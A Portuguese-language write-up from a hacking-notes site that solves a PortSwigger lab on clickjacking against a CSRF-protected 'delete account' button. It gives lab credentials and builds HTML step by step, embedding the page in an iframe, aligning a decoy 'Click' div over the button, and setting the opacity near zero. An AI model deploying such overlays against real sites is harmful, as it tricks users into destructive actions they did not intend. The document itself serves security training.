> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/basic-clickjacking-with-csrf-protection.md).

# Clickjacking Básico com Proteção CSRF

Notas sobre Clickjacking Básico com Proteção CSRF para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Clickjacking básico com proteção por token CSRF

Este laboratório contém um recurso de conexão, bem como um botão Excluir conta protegido por um **token CRF**. / O objetivo é incentivar o usuário a clicar em um item exibindo a palavra "Click" em um site isca, para excluir sua conta.

**Credenciais fornecidas:**

* wiener : peter

Na página da conta, encontramos a função **Excluir conta**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b59cc7809dd6525f82c3392758b6c3d2cb80f00d%2Fimage%20(359).png?alt=media" alt=""><figcaption></figcaption></figure>

A ideia é usar um **`<iframe>`** tag para incorporar esta página ao nosso próprio site e enganar o usuário para clicar no lugar certo.

```html
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Esta etapa nos permite exibir a página-alvo em nosso próprio site.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5aa01982aa4144437fbfde75d2a805fa3f4b84d4%2Fimage%20(360).png?alt=media" alt=""><figcaption></figcaption></figure>

Posicione o texto enganoso ("Click") exatamente acima do *Excluir conta* botão:

```html
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Click</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d05052f2fa08ab18507f8e82a34e1bbf285f23e8%2Fimage%20(361).png?alt=media" alt=""><figcaption></figcaption></figure>

Para que a vítima não veja a interface real, a **transparência** da moldura é reduzida:

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Click</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Se a parte inferior da página não aparecer, provavelmente é devido à ausência do `frameborder="0"` parâmetro ou a uma política de segurança do site. / A aparência pode ser ajustada da seguinte forma:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc6c0e5e0ca3b4f2e72b54c03819370bdeb50539%2Fimage%20(362).png?alt=media" alt=""><figcaption></figcaption></figure>


---

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